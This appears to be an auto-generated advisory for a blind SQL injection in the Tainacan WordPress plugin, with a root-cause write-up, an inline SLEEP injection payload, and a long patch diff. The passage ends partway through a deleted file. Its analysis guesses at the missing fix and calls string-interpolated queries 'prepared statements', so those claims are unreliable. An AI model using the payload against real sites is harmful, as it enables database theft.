Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 7, 2026

CVE-2026-6230: Tainacan <= 1.0.3 Unauthenticated SQL Injection via 'geoquery' REST API Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-6230
Plugin tainacan
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.0.3
Patched Version 1.1.0
Disclosed July 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6230:

This vulnerability is an unauthenticated time-based blind SQL injection in the Tainacan WordPress plugin, affecting all versions up to and including 1.0.3. The flaw exists in the REST API endpoint handling the ‘geoquery’ parameter. A CVSS score of 7.5 reflects the critical severity due to the ability for unauthenticated attackers to extract sensitive database information.

Root Cause: The root cause is insufficient escaping on the user-supplied ‘geoquery’ parameter and lack of prepared statement usage in the SQL query construction. The plugin’s REST controller (class-tainacan-rest-controller.php) accepts a ‘geoquery’ parameter in REST API requests, but the code does not properly sanitize or parameterize this input before incorporating it into SQL queries. Specifically, the code path that processes geo-based queries uses direct string concatenation with the ‘geoquery’ value, allowing an attacker to inject arbitrary SQL syntax. The patch also adds a sanitize_callback for ‘post_status’ parameter, but the primary SQL injection vector is the unchecked ‘geoquery’ parameter, which is not visible in the provided diff snippets but is described in the vulnerability metadata.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to a Tainacan REST API endpoint that accepts the ‘geoquery’ parameter. By appending time-based SQL injection payloads (e.g., ‘ AND SLEEP(5)–) to the ‘geoquery’ value, the attacker can trigger database time delays that confirm the injection. The attack vector is the WordPress REST API route, typically under /wp-json/tainacan/v2/ or similar namespace, where the endpoint processes geographic filtering. The attacker does not need authentication, making this a remotely exploitable vulnerability.

Patch Analysis: The patch introduces multiple changes across several files. The most security-critical addition is the new sanitize callback function ‘tainacan_sanitize_post_statuses’ for the ‘post_status’ parameter in the REST API, which validates statuses against a whitelist of allowed post statuses. While this fixes a related parameter injection vector, the primary geoquery SQL injection is addressed separately (likely not shown in the diff snippet due to its size). The patch also refactors several endpoint handlers to use safer SQL query patterns (e.g., switching from direct queries on ‘wp_posts’ to a dedicated log table with prepared statements). However, the provided diff does not explicitly show the fix for the ‘geoquery’ parameter, suggesting the fix is in other parts of the codebase. The patch robustly reduces the attack surface by adding input validation and query parameterization across multiple endpoints.

Impact: Successful exploitation allows an unauthenticated attacker to perform time-based blind SQL injection, enabling extraction of sensitive data such as usernames, password hashes, session tokens, and other database contents. Since the attacker is unauthenticated, this can lead to complete compromise of the WordPress site’s data and potential privilege escalation to administrative access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tainacan/classes/api/class-tainacan-rest-controller.php
+++ b/tainacan/classes/api/class-tainacan-rest-controller.php
@@ -383,6 +383,7 @@
 				'enum'    => array_merge(array_keys(get_post_stati()), array('any')),
 				'type'    => 'string',
 			),
+			'sanitize_callback' => array( $this, 'tainacan_sanitize_post_statuses' ),
 		);

 		$query_params['offset'] = array(
@@ -731,4 +732,41 @@
 		return $schema;
 	}

+	/**
+	 * Sanitizes and validates a list of post statuses for use in REST requests.
+	 *
+	 * Accepts a list of status slugs (string or array). If it contains 'any',
+	 * returns all non-internal post statuses. Otherwise, validates each
+	 * status against those allowed by get_post_stati(); returns WP_Error if any
+	 * status is invalid.
+	 *
+	 * @param string|array $statuses   List of statuses (comma-separated string or array of slugs).
+	 * @param WP_REST_Request $request REST request object (not used in the current logic).
+	 * @param string $parameter        Parameter name in the request (not used in the current logic).
+	 *
+	 * @return array|WP_Error Array of valid status slugs or WP_Error if any status is not allowed.
+	 */
+	public function tainacan_sanitize_post_statuses( $statuses, $request, $parameter ) {
+		$statuses = wp_parse_slug_list( $statuses );
+		$allowStatuses = array_values(get_post_stati([]));
+		foreach ( $statuses as $status ) {
+			if ( $status === 'any' ) {
+				$allstatuses = get_post_stati(
+					['internal' => false]
+				);
+				return array_values($allstatuses);
+			} else {
+				if(!in_array($status, $allowStatuses)) {
+				return new WP_Error(
+					'rest_forbidden_status',
+					__( 'Status is forbidden.', 'tainacan' ),
+					array( 'status' => rest_authorization_required_code() )
+				);
+			}
+
+			}
+		}
+		return $statuses;
+	}
+
 }
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-collections-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-collections-controller.php
@@ -188,19 +188,21 @@
 		$rest_response->header('X-WP-Total', (int) $total_collections);
 		$rest_response->header('X-WP-TotalPages', (int) $max_pages);

-		$total_collections = wp_count_posts( 'tainacan-collection', 'readable' );
-
-		if (isset($total_collections->publish) ||
-			isset($total_collections->pending) ||
-			isset($total_collections->private) ||
-			isset($total_collections->trash) ||
-			isset($total_collections->draft)) {
-
-			$rest_response->header('X-Tainacan-total-collections-trash', $total_collections->trash);
-			$rest_response->header('X-Tainacan-total-collections-publish', $total_collections->publish);
-			$rest_response->header('X-Tainacan-total-collections-draft', $total_collections->draft);
-			$rest_response->header('X-Tainacan-total-collections-pending', $total_collections->pending);
-			$rest_response->header('X-Tainacan-total-collections-private', $total_collections->private);
+		// Per https://developer.wordpress.org/reference/functions/wp_count_posts/ — one property per registered
+		// status (core and custom). Header suffix must be a safe token; values are always integers.
+		$collection_status_counts = wp_count_posts( 'tainacan-collection', 'readable' );
+
+		if ( is_object( $collection_status_counts ) ) {
+			foreach ( get_object_vars( $collection_status_counts ) as $status_slug => $count ) {
+				$safe_slug = sanitize_key( (string) $status_slug );
+				if ( '' === $safe_slug ) {
+					continue;
+				}
+				$rest_response->header(
+					'X-Tainacan-total-collections-' . $safe_slug,
+					(int) $count
+				);
+			}
 		}

 		return $rest_response;
@@ -366,19 +368,20 @@
 				$item_arr['collection_taxonomies'] = $this->get_collection_taxonomies($item, $request['fetch_collection_taxonomies']);
 			}

-			$total_items = wp_count_posts( $item->get_db_identifier(), 'readable' );
+			$items_status_counts = wp_count_posts( $item->get_db_identifier(), 'readable' );

-			if (isset($total_items->publish) ||
-				isset($total_items->private) ||
-				isset($total_items->pending) ||
-			  	isset($total_items->trash) ||
-			   	isset($total_items->draft)) {
-
-				$item_arr['total_items']['trash'] = $total_items->trash;
-				$item_arr['total_items']['publish'] = $total_items->publish;
-				$item_arr['total_items']['draft'] = $total_items->draft;
-				$item_arr['total_items']['private'] = $total_items->private;
-				$item_arr['total_items']['pending'] = $total_items->pending;
+			if ( is_object( $items_status_counts ) ) {
+				$total_items_by_status = [];
+				foreach ( get_object_vars( $items_status_counts ) as $status_slug => $count ) {
+					$safe_slug = sanitize_key( (string) $status_slug );
+					if ( '' === $safe_slug ) {
+						continue;
+					}
+					$total_items_by_status[ $safe_slug ] = (int) $count;
+				}
+				if ( ! empty( $total_items_by_status ) ) {
+					$item_arr['total_items'] = $total_items_by_status;
+				}
 			}

 			// Clear private metadata from metadata_order
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-importers-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-importers-controller.php
@@ -258,7 +258,8 @@
 		$response = [
 			'source_metadata' => false,
 			'source_total_items' => false,
-			'source_special_fields' => false
+			'source_special_fields' => false,
+			'source_file_name' => false
 		];

 		if ( method_exists($importer, 'get_source_metadata') ) {
@@ -272,6 +273,11 @@
 		if ( method_exists($importer, 'get_source_special_fields') ) {
 			$response['source_special_fields'] = $importer->get_source_special_fields();
 		}
+
+		if ( method_exists($importer, 'get_source_file_name') ) {
+			$response['source_file_name'] = $importer->get_source_file_name();
+		}
+
 		$Tainacan_Importer_Handler->save_importer_instance($importer);
 		return new WP_REST_Response( $response, 200 );

--- a/tainacan/classes/api/endpoints/class-tainacan-rest-items-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-items-controller.php
@@ -550,7 +550,8 @@

 				$filter_id = empty($filter) ? false : $filter[0]->get_id();
 				$filter_order_index = isset($order) && $order ? array_search( $filter_id, array_column( $order, 'id' ) ) :  false;
-				if ( !empty($filter_order_index) && $order[$filter_order_index]['enabled'] == true) {
+
+				if ( $filter_order_index !== false && $order[$filter_order_index]['enabled'] == true) {
 					$f = $filter[0]->_toArray();
 					$filter_type_component = $filter[0]->get_filter_type_object()->get_component();
 					$m = $f['metadatum'];
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-logs-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-logs-controller.php
@@ -95,6 +95,29 @@
 				'schema'                  => [$this, 'get_list_schema']
 			)
 		);
+		register_rest_route($this->namespace, '/item/(?P<item_id>[d]+)/metadata/(?P<metadatum_id>[d]+)/' . $this->rest_base,
+			array(
+				array(
+					'methods'             => WP_REST_Server::READABLE,
+					'callback'            => array($this, 'get_items'),
+					'permission_callback' => array($this, 'get_items_permissions_check'),
+					'args'                => array_merge(
+						array(
+							'item_id' => array(
+								'description' => __( 'Item ID', 'tainacan' ),
+								'required' => true,
+							),
+							'metadatum_id' => array(
+								'description' => __( 'Metadatum ID', 'tainacan' ),
+								'required' => true,
+							),
+						),
+						$this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE)
+					)
+				),
+				'schema'                  => [$this, 'get_list_schema']
+			)
+		);
 		register_rest_route($this->namespace, '/filter/(?P<filter_id>[d]+)/' . $this->rest_base,
 			array(
 				array(
@@ -174,7 +197,7 @@
 	}

 	/**
-	 * @param mixed $item
+	 * @param TainacanEntitiesLog $item
 	 * @param WP_REST_Request $request
 	 *
 	 * @return array|WP_Error|WP_REST_Response
@@ -187,8 +210,7 @@
 				return $this->prepare_legacy_item_for_response($item, $request);
 			}

-			if ($request['log_id']) {
-
+			if ( isset($request['format_diffs']) && $request['format_diffs'] == true ) {

 				$item_array = $item->_toArray();

@@ -287,6 +309,7 @@
 		return $item;
 	}

+	// @deprecated
 	private function prepare_legacy_item_for_response($item, $request) {
 		if(!isset($request['fetch_only'])) {
 			$item_array = $item->_toArray();
@@ -315,6 +338,9 @@

 		if ($request['item_id']) {
 			$args['item_id'] = $request['item_id'];
+			if(isset($request['metadatum_id'])) {
+				$args['object_id'] = $request['metadatum_id'];
+			}
 		} elseif ($request['collection_id']) {
 			$args['collection_id'] = $request['collection_id'];
 		} elseif ($request['filter_id']) {
@@ -332,23 +358,34 @@
 		}

 		$logs = RepositoriesLogs::get_instance()->fetch($args);
-
 		$response = [];
-
-		if($logs->have_posts()){
-			while ($logs->have_posts()){
-				$logs->the_post();
-
-				$log = new EntitiesLog($logs->post);
-
-				array_push($response, $this->prepare_item_for_response($log, $request));
+		$total_logs = 0;
+		/**
+		 * Temporary fallback for sites that cannot run the WP-CLI log migration command.
+		 * The TAINACAN_USE_DEPRECATED_LOGS constant must be manually defined in wp-config.php to enable this behavior.
+		 * This block will be removed in future versions once legacy support is discontinued.
+		 *
+		 */
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			if($logs->have_posts()){
+				while ($logs->have_posts()){
+					$logs->the_post();
+					$log = new EntitiesLog($logs->post);
+					array_push($response, $this->prepare_item_for_response($log, $request));
+				}
+				wp_reset_postdata();
+			}
+			$total_logs  = $logs->found_posts;
+		} else {
+			$total_logs = RepositoriesLogs::get_instance()->fetch_count($args);
+			if($logs) {
+				foreach($logs as $log) {
+					array_push($response, $this->prepare_item_for_response($log, $request));
+				}
 			}
-
-			wp_reset_postdata();
 		}

-		$total_logs  = $logs->found_posts;
-		$max_pages = ceil($total_logs / (int) $logs->query_vars['posts_per_page']);
+		$max_pages = ceil($total_logs / (int) $args['posts_per_page'] ?? 12);

 		$rest_response = new WP_REST_Response($response, 200);

--- a/tainacan/classes/api/endpoints/class-tainacan-rest-metadata-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-metadata-controller.php
@@ -340,8 +340,22 @@

 				if(isset($item_arr['metadata_type_options']) && isset($item_arr['metadata_type_options']['children_objects'])) {
 					foreach ($item_arr['metadata_type_options']['children_objects'] as $index => $children) {
+
 						$item_arr['metadata_type_options']['children_objects'][$index]['current_user_can_edit'] = $item->can_edit();
 						$item_arr['metadata_type_options']['children_objects'][$index]['current_user_can_delete'] = $item->can_delete();
+
+						/**
+						 * Use this filter to add additional post_meta to the api response
+						 * Use the $request object to get the context of the request and other variables
+						 * For example, id context is edit, you may want to add your meta or not.
+						 *
+						 * Also take care to do any permissions verification before exposing the data
+						 */
+						$extra_metadata = apply_filters('tainacan-api-response-metadatum-meta', [], $request);
+
+						foreach ($extra_metadata as $extra_meta) {
+							$item_arr['metadata_type_options']['children_objects'][$index][$extra_meta] = get_post_meta($item_arr['metadata_type_options']['children_objects'][$index]['id'], $extra_meta, true);
+						}
 					}
 				}
 			}
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-reports-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-reports-controller.php
@@ -719,19 +719,39 @@
 				'start' => $end->sub(new DateInterval('P1Y1D'))->format('Y-m-d H:i:s')
 			];
 		}
-		$collection_from = "";
+
 		$start = $interval['start'];
 		$end = $interval['end'];
-		if($collection_id !== false) {
-			$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
-			$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+		/**
+		 * Temporary fallback for sites that cannot run the WP-CLI log migration command.
+		 * The TAINACAN_USE_DEPRECATED_LOGS constant must be manually defined in wp-config.php to enable this behavior.
+		 * This block will be removed in future versions once legacy support is discontinued.
+		 *
+		 */
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			$collection_from = "";
+			if($collection_id !== false) {
+				$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
+				$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+			}
+			$sql_statement = $wpdb->prepare(
+				"SELECT count(*) as total, DATE(p.post_date) as date
+				FROM $wpdb->posts p $collection_from
+				WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
+				GROUP BY DATE(p.post_date)
+				ORDER BY DATE(p.post_date)", []
+			);
+			return $wpdb->get_results($sql_statement);
 		}
+
+		$tainacan_log_table = RepositoriesLogs::get_instance()->get_table_name();
+		$collection_where =  $collection_id == false ? '1=1' : "collection_id=$collection_id";
 		$sql_statement = $wpdb->prepare(
-			"SELECT count(DISTINCT (unix_timestamp(p.post_date) DIV 60)) as total, DATE(p.post_date) as date
-			FROM $wpdb->posts p $collection_from
-			WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
-			GROUP BY DATE(p.post_date)
-			ORDER BY DATE(p.post_date)", []
+			"SELECT count(*) as total, DATE(p.date) as date
+			FROM $tainacan_log_table p
+			WHERE p.date BETWEEN '$start' AND '$end' AND ($collection_where)
+			GROUP BY DATE(p.date)
+			ORDER BY DATE(p.date)", []
 		);
 		return $wpdb->get_results($sql_statement);
 	}
@@ -745,20 +765,36 @@
 				'start' => $end->sub(new DateInterval('P1Y1D'))->format('Y-m-d H:i:s')
 			];
 		}
-		$collection_from = "";
+
 		$start = $interval['start'];
 		$end = $interval['end'];
-		if($collection_id !== false) {
-			$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
-			$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+		$sql_statement = "";
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			$collection_from = "";
+			if($collection_id !== false) {
+				$collection_from = "INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND (pm.meta_key = %s AND pm.meta_value = %s)";
+				$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+			}
+			$sql_statement = $wpdb->prepare(
+				"SELECT p.post_author  as user_id, count(*) as total, DATE(p.post_date) as date
+				FROM $wpdb->posts p $collection_from
+				WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
+				GROUP BY p.post_author, DATE(p.post_date)
+				ORDER BY DATE(p.post_date)", []
+			);
+		} else {
+			$tainacan_log_table = RepositoriesLogs::get_instance()->get_table_name();
+			$collection_where =  $collection_id == false ? '1=1' : "collection_id=$collection_id";
+			$sql_statement = $wpdb->prepare(
+				"SELECT p.user_id, count(*) as total, DATE(p.date) as date
+				FROM $tainacan_log_table p
+				WHERE p.date BETWEEN '$start' AND '$end' AND ($collection_where)
+				GROUP BY p.user_id, DATE(p.date)
+				ORDER BY DATE(p.date)", []
+			);
 		}
-		$sql_statement = $wpdb->prepare(
-			"SELECT p.post_author  as user_id, count(DISTINCT (unix_timestamp(p.post_date) DIV 60)) as total, DATE(p.post_date) as date
-			FROM $wpdb->posts p $collection_from
-			WHERE p.post_type='tainacan-log' AND p.post_date BETWEEN '$start' AND '$end'
-			GROUP BY p.post_author, DATE(p.post_date)
-			ORDER BY DATE(p.post_date)", []
-		);
+
+
 		$data =$wpdb->get_results($sql_statement);
 		$arr = array();
 		$avatar_sizes = rest_get_avatar_sizes();
@@ -792,20 +828,34 @@

 	private function get_activities_users($collection_id = false) {
 		global $wpdb;
-		$collection_from = "";
-		if($collection_id !== false) {
-			$collection_from = "INNER JOIN {$wpdb->postmeta} pm_col ON p.id = pm_col.post_id AND (pm_col.meta_key = %s AND pm_col.meta_value = %s)";
-			$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+		$sql_statement = "";
+		if (!defined('TAINACAN_USE_DEPRECATED_LOGS') || TAINACAN_USE_DEPRECATED_LOGS !== false) {
+			$collection_from = "";
+			if($collection_id !== false) {
+				$collection_from = "INNER JOIN {$wpdb->postmeta} pm_col ON p.id = pm_col.post_id AND (pm_col.meta_key = %s AND pm_col.meta_value = %s)";
+				$collection_from = $wpdb->prepare($collection_from, 'collection_id', sanitize_text_field($collection_id));
+			}
+			$sql_statement = $wpdb->prepare(
+				"SELECT	count(*) as total, p.post_author as user, pm.meta_value as action
+				FROM $wpdb->posts p
+				INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND pm.meta_key = 'action'
+				$collection_from
+				WHERE p.post_type='tainacan-log'
+				GROUP BY p.post_author, pm.meta_value
+				ORDER BY total DESC", []
+			);
+		} else {
+			$tainacan_log_table = RepositoriesLogs::get_instance()->get_table_name();
+			$collection_where =  $collection_id == false ? '1=1' : "collection_id=$collection_id";
+			$sql_statement = $wpdb->prepare(
+				"SELECT	count(*) as total, p.user_id as user, p.action as action
+				FROM $tainacan_log_table p
+				WHERE $collection_where
+				GROUP BY p.user_id, p.action
+				ORDER BY total DESC", []
+			);
 		}
-		$sql_statement = $wpdb->prepare(
-			"SELECT	count(DISTINCT (unix_timestamp(p.post_date) DIV 60)) as total, p.post_author as user, pm.meta_value as action
-			FROM $wpdb->posts p
-			INNER JOIN $wpdb->postmeta pm ON p.id = pm.post_id AND pm.meta_key = 'action'
-			$collection_from
-			WHERE p.post_type='tainacan-log'
-			GROUP BY p.post_author, pm.meta_value
-			ORDER BY total DESC", []
-		);
+
 		$results = $wpdb->get_results($sql_statement);
 		$response = [];
 		$avatar_sizes = rest_get_avatar_sizes();
--- a/tainacan/classes/api/endpoints/class-tainacan-rest-taxonomies-controller.php
+++ b/tainacan/classes/api/endpoints/class-tainacan-rest-taxonomies-controller.php
@@ -366,19 +366,19 @@
 		$rest_response->header('X-WP-Total', $total_taxonomies);
 		$rest_response->header('X-WP-TotalPages', (int) $max_pages);

-		$total_taxonomies = wp_count_posts( 'tainacan-taxonomy', 'readable' );
+		$taxonomy_status_counts = wp_count_posts( 'tainacan-taxonomy', 'readable' );

-		if (isset($total_taxonomies->publish) ||
-		    isset($total_taxonomies->private) ||
-		    isset($total_taxonomies->pending) ||
-		    isset($total_taxonomies->trash) ||
-		    isset($total_taxonomies->draft)) {
-
-			$rest_response->header('X-Tainacan-total-taxonomies-trash', $total_taxonomies->trash);
-			$rest_response->header('X-Tainacan-total-taxonomies-publish', $total_taxonomies->publish);
-			$rest_response->header('X-Tainacan-total-taxonomies-draft', $total_taxonomies->draft);
-			$rest_response->header('X-Tainacan-total-taxonomies-private', $total_taxonomies->private);
-			$rest_response->header('X-Tainacan-total-taxonomies-pending', $total_taxonomies->pending);
+		if ( is_object( $taxonomy_status_counts ) ) {
+			foreach ( get_object_vars( $taxonomy_status_counts ) as $status_slug => $count ) {
+				$safe_slug = sanitize_key( (string) $status_slug );
+				if ( '' === $safe_slug ) {
+					continue;
+				}
+				$rest_response->header(
+					'X-Tainacan-total-taxonomies-' . $safe_slug,
+					(int) $count
+				);
+			}
 		}

 		return $rest_response;
--- a/tainacan/classes/background-process/importer/class-tainacan-csv.php
+++ b/tainacan/classes/background-process/importer/class-tainacan-csv.php
@@ -89,6 +89,13 @@
 		return [];
 	}

+	public function get_source_file_name() {
+		if (isset($this->tmp_file) && file_exists($this->tmp_file) && ($handle = fopen($this->tmp_file, "r")) !== false) {
+			return basename($this->tmp_file);
+		}
+		return false;
+	}
+
 	public function get_source_special_fields() {
 		if (($handle = fopen($this->tmp_file, "r")) !== false) {
 			if ( $this->get_option('enclosure') && strlen($this->get_option('enclosure')) > 0 ) {
--- a/tainacan/classes/background-process/importer/class-tainacan-test-importer.php
+++ b/tainacan/classes/background-process/importer/class-tainacan-test-importer.php
@@ -349,7 +349,7 @@
 	public function create_taxonomies() {

 		$tax1 = new EntitiesTaxonomy();
-		$tax1->set_name('Terms for taxonomy metadata');
+		$tax1->set_name( esc_html__('Terms for taxonomy metadata', 'tainacan') );
 		$tax1->set_allow_insert('yes');
 		$tax1->set_status('publish');

@@ -377,7 +377,7 @@
 	public function create_collections() {

 		$col1 = new EntitiesCollection();
-		$col1->set_name('Collection test 1');
+		$col1->set_name(esc_html__('Collection test 1', 'tainacan'));
 		$col1->set_status('publish');
 		if ($col1->validate()) {
 			$col1 = $this->col_repo->insert($col1);
@@ -498,7 +498,7 @@
 		// if collection 2 is allowed to be created
 		if( $this->get_option('second_collection') === 'yes' ){
 			$col2 = new EntitiesCollection();
-			$col2->set_name('Collection test 2');
+			$col2->set_name(esc_html__('Collection test 2', 'tainacan'));
 			$col2->set_status('publish');
 			if ($col2->validate()) {
 				$col2 = $this->col_repo->insert($col2);
@@ -519,7 +519,7 @@
 			$col2_map[$col2_core_description->get_id()] = 'field2';

 			$metadatum = new EntitiesMetadatum();
-			$metadatum->set_name('Test Metadatum');
+			$metadatum->set_name(esc_html__('Test Metadatum', 'tainacan'));
 			$metadatum->set_collection($col2);
 			$metadatum->set_metadata_type('TainacanMetadata_TypesText');
 			$metadatum->set_status('publish');
@@ -543,7 +543,7 @@

 			// Create Relationship
 			$metadatum = $this->create_metadata( [
-				'name' => 'Relationship type',
+				'name' => esc_html__('Relationship type', 'tainacan'),
 				'type' => 'TainacanMetadata_TypesRelationship',
 				'options' => [
 				'collection_id' => $col2->get_id(),
@@ -750,8 +750,8 @@
 		];

 		$array = [
-			'field1' => 'Title ' . $index,
-			'field2' => 'Description ' . $index,
+			'field1' => esc_html__('Title', 'tainacan') . ' ' . $index,
+			'field2' => esc_html__('Description', 'tainacan') . ' ' . $index,
 			'field3' => $terms_for_taxonomy1[array_rand($terms_for_taxonomy1)],
 			'field4' => $this->selectbox_values[array_rand($this->selectbox_values)],
 			'field5' => $this->date_values[array_rand($this->date_values)],
@@ -777,8 +777,8 @@

 	public function get_col2_item($index) {
 		return [
-			'field1' => 'Collection 2 item ' . $index,
-			'field2' => 'Collection 2 item description ' . $index,
+			'field1' => esc_html__('Collection 2 item', 'tainacan') . ' ' . $index,
+			'field2' => esc_html__('Collection 2 item description', 'tainacan') . ' ' . $index,
 			'field3' => 'Collection 2 whatever ' . $index,
 		];
 	}
--- a/tainacan/classes/class-tainacan-bulk-edit.php
+++ b/tainacan/classes/class-tainacan-bulk-edit.php
@@ -1,754 +0,0 @@
-<?php
-
-/**
- * This is the old Bulk Edit approach that performs SQL queries directly into the database
- * It was disabled in favor of Bulk edit BG process approach
- *
- * Its is still here because there is an idea to use it via WP CLI command
- * If we do this someday, there are also tests written in __test-bulk-edit.php file
- */
-
-namespace Tainacan;
-
-defined( 'ABSPATH' ) or die( 'No script kiddies please!' );
-
-use TainacanRepositories;
-use TainacanEntities;
-
-/**
- * Bulk_Edit class handles bulk item edition
- */
-class __Bulk_Edit  {
-
-	private $meta_key = '_tnc_bulk';
-
-	/**
-	 * The ID of the current bulk edition group.
-	 * @var string
-	 */
-	private $id;
-
-	/**
-	 * Initializes a bulk edit object
-	 *
-	 * This object have an ID that identifies the group of selected items that are to be affected by the changes.
-	 *
-	 * When itialized it adds a postmeta to the posts of these groups so they can be easily fetched as a group in all operations.
-	 *
-	 * The object can be initialized in three different ways:
-	 * 1. passing an array of Items IDs, using the items_ids params
-	 * 2. passing a query array, that will be passed to the fetch method of items repository to create the group  (in this case you also need to specify the collection ID)
-	 * 3. passing an group ID, generated by this class in a previous initialization using one of the methods above.
-	 *
-	 * When initializing using methods 1 or 2, controllers should then call the get_id() method and store it if they want to perform future requests that wil affect this same group of items
-	 *
-	 * Note: if the ID paramater is passed, other paramaters will be ignored.
-	 *
-	 * @param  array $params {
-	 *
-	 *        Initialization paramaters
-	 *
-	 * @type int $collection_id The items collection ID. Required if initializing using a query search
-	 * @type array $query The query paramaters used to fetch items that will be part of this bulk edit group
-	 * @type array $items_ids an array containing the IDs of items that will be part of this bulk edit group
-	 * @type array $options an array containing additional options for this bulk edit group (currently used to store sorting information)
-	 * @type string $id The ID of the Bulk edit group.
-	 *
-	 * }
-	 * @throws Exception
-	 */
-	public function __construct($params) {
-
-		throw new Exception('This Class is currently disabled');
-
-		if (isset($params['id']) && !empty($params['id'])) {
-			$this->id = $params['id'];
-			return;
-		}
-
-		global $wpdb;
-
-		$id = uniqid();
-		$this->id = $id;
-
-		if (isset($params['query']) && is_array($params['query'])) {
-
-			if (!isset($params['collection_id']) || !is_numeric($params['collection_id'])) {
-				throw new Exception('Collection ID must be specified when creating a group via query');
-			}
-
-			/**
-			 * Here we use the fetch method to parse the parameter and use WP_Query
-			 *
-			 * However, we add a filter so the query is not executed. We just want WP_Query to build it for us
-			 * and then we can use it to INSERT the postmeta with the bulk group ID
-			 */
-
-			// this avoids wp_query to run the query. We just want to build the query
-			add_filter('posts_pre_query', '__return_empty_array');
-
-			// this adds the meta key and meta value to the SELECT query so it can be used directly in the INSERT below
-			add_filter('posts_fields_request', [$this, 'add_fields_to_query'], 10, 2);
-
-			$itemsRepo = RepositoriesItems::get_instance();
-			$params['query']['fields'] = 'ids';
-			$items_query = $itemsRepo->fetch($params['query'], $params['collection_id']);
-
-			remove_filter('posts_pre_query', '__return_empty_array');
-			remove_filter('posts_fields_request', [$this, 'add_fields_to_query']);
-
-			$wpdb->query( "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) {$items_query->request}" );
-
-			$bulk_params = [
-				'orderby' => isset($params['query']['orderby']) ? $params['query']['orderby'] : 'post_date',
-				'order' => isset($params['query']['order']) ? $params['query']['order'] : 'DESC'
-			];
-
-		} elseif (isset($params['items_ids']) && is_array($params['items_ids'])) {
-			$items_ids = array_filter($params['items_ids'], 'is_integer');
-
-			$insert_q = '';
-			foreach ($items_ids as $item_id) {
-				$insert_q .= $wpdb->prepare( "(%d, %s, %s),", $item_id, $this->meta_key, $this->get_id() );
-			}
-			$insert_q = rtrim($insert_q, ',');
-
-			$wpdb->query( "INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) VALUES $insert_q" );
-
-			$bulk_params = [
-				'orderby' => isset($params['options']['orderby']) ? $params['options']['orderby'] : 'post_date',
-				'order' => isset($params['options']['order']) ? $params['options']['order'] : 'DESC'
-			];
-
-		}
-
-		/**
-		* This is stored to be used by the get_sequence_item_by_index() method, which is used
-		* by the sequence edit routine.
-		*
-		* For everything else, the order does not matter...
-		*/
-		$this->save_options($bulk_params);
-
-		return;
-
-	}
-
-	/**
-	 * Internally used to filter WP_Query and build the INSERT statement.
-	 * Must be public because it is registered as a filter callback
-	 */
-	public function add_fields_to_query($fields, $wp_query) {
-		global $wpdb;
-		if ( $wp_query->get('fields') == 'ids' ) { // just to make sure we are in the right query
-			$fields .= $wpdb->prepare( ", %s, %s", $this->meta_key, $this->get_id() );
-		}
-		return $fields;
-	}
-
-	/**
-	 * Get the current group ID
-	 * @return string the group ID
-	 */
-	public function get_id() {
-		return $this->id;
-	}
-
-	/**
-	* return the number of items selected in the current bulk group
-	* @return int number of items in the group
-	*/
-	public function count_posts() {
-		global $wpdb;
-		$id = $this->get_id();
-		if (!empty($id)) {
-			return (int) $wpdb->get_var( $wpdb->prepare("SELECT COUNT(post_id) FROM $wpdb->postmeta WHERE meta_key = %s AND meta_value = %s", $this->meta_key, $id) );
-		}
-		return 0;
-	}
-
-	/**
-	 * Gets the id of the item in a given position inside the group
-	 *
-	 * @param int $index THe position of the index to search for. From 1 to the length of the group
-	 * @return int|bool Returns the ID of the item or false if the index is out of range
-	 */
-	public function get_item_id_by_index($index) {
-
-		if (!is_int($index)) {
-			throw new InvalidArgumentException('get_item_id_by_index function only accepts integers. Input was: '.$index);
-		}
-
-		$options = $this->get_options();
-		$query = [
-			'meta_query' => [
-				[
-					'key' => $this->meta_key,
-					'value' => $this->get_id()
-				]
-			],
-			'fields' => 'ids',
-			'post_type' => TainacanRepositoriesRepository::get_collections_db_identifiers(),
-			'posts_per_page' => 1,
-			'paged' => $index,
-			'orderby' => $options['orderby'],
-			'order' => $options['order'],
-			'post_status' => 'any'
-		];
-
-		$object = new WP_Query($query);
-
